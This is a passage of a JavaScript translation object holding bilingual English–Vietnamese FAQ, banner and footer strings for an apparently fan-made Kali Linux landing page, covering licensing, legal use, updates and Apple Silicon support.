    title: { en: 'Frequently asked.',  vi: 'Câu hỏi thường gặp.' },
  },
  faqs: [
    {
      q: { en: 'Is Kali Linux free?', vi: 'Kali Linux có miễn phí không?' },
      a: {
        en: 'Yes. Always has been, always will be. Kali is free and open-source software released under the GNU General Public License. No license keys, no premium tier, no telemetry.',
        vi: 'Có. Luôn luôn miễn phí. Kali là phần mềm mã nguồn mở phát hành theo GNU GPL. Không key, không bản trả phí, không thu thập dữ liệu.',
      },
    },
    {
      q: { en: 'Is it legal to use Kali?', vi: 'Dùng Kali có hợp pháp không?' },
      a: {
        en: 'The OS itself is 100% legal everywhere. The tools inside are legal to use on systems you own or have written authorization to test. Use them against systems you don\'t own without permission and you\'re committing a crime — not Kali\'s problem.',
        vi: 'Hệ điều hành hoàn toàn hợp pháp ở mọi nơi. Các công cụ bên trong hợp pháp khi dùng trên hệ thống bạn sở hữu hoặc có giấy phép kiểm thử. Dùng lên hệ thống không phải của bạn mà chưa xin phép là phạm pháp — không phải lỗi của Kali.',
      },
    },
    {
      q: { en: 'Should I use Kali as my daily driver?', vi: 'Có nên dùng Kali hàng ngày?' },
      a: {
        en: 'No. Kali ships as root by default (in older versions) and disables many services for forensic hygiene. Use Ubuntu/Fedora/Arch for daily life, and run Kali in a VM, container, or live USB when you need it.',
        vi: 'Không nên. Kali mặc định chạy root (ở phiên bản cũ) và tắt nhiều dịch vụ vì lý do forensic. Dùng Ubuntu/Fedora/Arch cho hàng ngày, và Kali trong VM, container, hoặc live USB khi cần.',
      },
    },
    {
      q: { en: 'What\'s the difference between Kali and Parrot OS?', vi: 'Khác biệt giữa Kali và Parrot OS?' },
      a: {
        en: 'Both are Debian-based offensive distros. Kali is backed by OffSec, has a larger user base, broader hardware/cloud support, and the official OSCP exam image. Parrot is lighter and includes some privacy tools by default. Pick by team standards or personal taste.',
        vi: 'Cả hai dựa trên Debian, chuyên cho bảo mật tấn công. Kali được OffSec hậu thuẫn, cộng đồng lớn hơn, hỗ trợ phần cứng/cloud rộng hơn, và là image chính thức cho OSCP. Parrot nhẹ hơn và có sẵn vài tool privacy. Chọn theo team hoặc sở thích.',
      },
    },
    {
      q: { en: 'How often is Kali updated?', vi: 'Kali cập nhật bao lâu một lần?' },
      a: {
        en: 'Kali is a rolling release — `apt update && apt upgrade` runs daily if you want. The team also ships four ISO snapshots per year (2026.1, 2026.2, ...) so you can re-image clean every quarter without losing major versions.',
        vi: 'Kali là rolling release — `apt update && apt upgrade` chạy hằng ngày nếu muốn. Đội ngũ phát hành 4 snapshot ISO mỗi năm (2026.1, 2026.2,...) để bạn cài lại sạch mỗi quý.',
      },
    },
    {
      q: { en: 'Can Kali run on Apple Silicon?', vi: 'Kali có chạy trên Apple Silicon?' },
      a: {
        en: 'Yes. Official ARM64 images run natively under UTM or Parallels on M1/M2/M3/M4 Macs. Most tools work; the few x86-only binaries run under Rosetta with a one-line workaround.',
        vi: 'Có. Image ARM64 chính thức chạy native trên UTM hoặc Parallels trên Mac M1/M2/M3/M4. Hầu hết tool hoạt động; vài binary chỉ-x86 chạy qua Rosetta với một dòng cấu hình.',
      },
    },
  ],
  ctaBanner: {
    title:  { en: 'Ready to ', vi: 'Sẵn sàng ' },
    titleEm:{ en: 'go root?',  vi: 'lên root?' },
    sub: {
      en: 'Pick an image, verify the SHA256, and you\'re three commands from a working pentest workstation.',
      vi: 'Chọn image, kiểm tra SHA256, và bạn chỉ cách workstation pentest hoàn chỉnh 3 lệnh.',
    },
  },
  footer: {
    tagline: {
      en: 'Maintained by OffSec. Free as in beer and as in speech. Use responsibly.',
      vi: 'Bảo trì bởi OffSec. Miễn phí về tiền bạc lẫn tự do. Hãy sử dụng có trách nhiệm.',
    },
    cols: [
      { h: { en: 'Project', vi: 'Dự án' },
        links: ['kali.org', 'docs/', 'tools/', 'blog/', 'bugs.kali.org'] },
      { h: { en: 'Community', vi: 'Cộng đồng' },
        links: ['Forums', 'Discord', '#kali-linux', 'Reddit', 'Mastodon'] },
      { h: { en: 'OffSec', vi: 'OffSec' },
        links: ['OSCP', 'OSEP', 'PEN-200', 'Proving Grounds', 'Exam Reports'] },
    ],
    legal: {
      en: '© 2003–2026 OffSec Services Limited. Kali Linux is a trademark of OffSec.\n author by Nguyen Van Khang',
      vi: '© 2003–2026 OffSec Services Limited. Kali Linux là thương hiệu của OffSec.\n author by Nguyen Van Khang',
    },
    status: { en: 'ALL SYSTEMS NOMINAL · v2026.1', vi: 'HỆ THỐNG HOẠT ĐỘNG · v2026.1' },
  },
};

window.T = T;
